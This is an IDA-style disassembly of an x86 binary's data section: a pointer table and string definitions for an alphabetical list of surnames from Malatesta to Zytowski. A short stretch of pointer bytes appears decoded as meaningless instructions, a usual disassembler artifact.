		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E6E1
; ---------------------------------------------------------------------------
		align 10h
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-53FFBD15h], bh
		jmp	short loc_42E6F1
; ---------------------------------------------------------------------------
		align 10h
		mov	al, ds:980042EBh

loc_42E6B5:				; CODE XREF: ___:0042E6C8j
		jmp	short loc_42E6F9
; ---------------------------------------------------------------------------
		align 4
		dd offset aTudge	; "Tudge"
; ---------------------------------------------------------------------------
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E709
; ---------------------------------------------------------------------------
		align 4
		jo	short loc_42E6B5
		inc	edx
		add	[eax-15h], ch
		inc	edx
		add	[ebx+ebp*8+42h], bl
		add	[ebx+ebp*8+42h], dl
		add	[eax-15h], cl
		inc	edx
		add	[eax-15h], al
		inc	edx
		add	[eax], bh

loc_42E6E1:				; CODE XREF: ___:0042E69Dj
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E72D
; ---------------------------------------------------------------------------
		align 4
		sbb	bl, ch
		inc	edx
		add	[eax], dl

loc_42E6F1:				; CODE XREF: ___:0042E6ADj
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		dd offset aWaite	; "Waite"
		db 0
; ---------------------------------------------------------------------------

loc_42E6F9:				; CODE XREF: ___:loc_42E6B5j
		jmp	short loc_42E73D
; ---------------------------------------------------------------------------
		align 4
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		db 0D8h
; ---------------------------------------------------------------------------

loc_42E709:				; CODE XREF: ___:0042E6C5j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		db 88h
; ---------------------------------------------------------------------------

loc_42E725:				; CODE XREF: ___:loc_42E6E1j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------

loc_42E72D:				; CODE XREF: ___:0042E6E9j
		jmp	far ptr	42h:0EA680042h
; ---------------------------------------------------------------------------
		pop	esp

loc_42E735:				; CODE XREF: ___:loc_42E6F1j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------

loc_42E73D:				; CODE XREF: ___:loc_42E6F9j
		jmp	far ptr	42h:0EA380042h
; ---------------------------------------------------------------------------
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E830o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E82Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E828o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E824o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E820o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E81Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E818o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E814o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E810o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E80Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E808o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E804o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E800o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E7FCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E7F8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E7F4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E7F0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E7ECo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E7E8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E7E4o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E7E0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E7DCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E7D8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E7D4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E7D0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7CCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7C8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7C4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7C0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7BCo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7B8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7B4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7B0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7ACo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7A8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7A4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7A0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E79Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E798o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E794o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E790o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E78Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E788o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E784o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E780o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E77Co
aViano		db 'Viano',0            ; DATA XREF: ___:0042E778o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E774o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E770o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E76Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E768o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E764o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E760o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E75Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E758o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E754o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E750o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042E74Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042E748o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E744o
		align 4
aVelasquez	db 'Velasquez',0
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042E720o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E71Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E718o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042E714o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042E710o
aVanallen	db 'vanAllen',0
		align 4
aWalter		db 'Walter',0
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042E704o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042E700o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042E6FCo
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0            ; DATA XREF: ___:0042E6F4o
		align 10h
aVacca		db 'Vacca',0
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0
		align 4
aTzamarias	db 'Tzamarias',0
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042E6B8o
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0
aTruss		db 'Truss',0
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0
aTringali	db 'Tringali',0
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E694o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E690o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E68Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E688o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E684o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E680o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E67Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E678o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E674o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E670o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E66Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E668o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E664o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E660o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E65Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E658o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E654o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E650o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E64Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E648o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E644o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E640o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E63Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E638o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E634o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E630o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E62Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E628o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E624o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E620o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E61Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E618o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E614o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E610o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E60Co
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E608o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E604o
		align 4
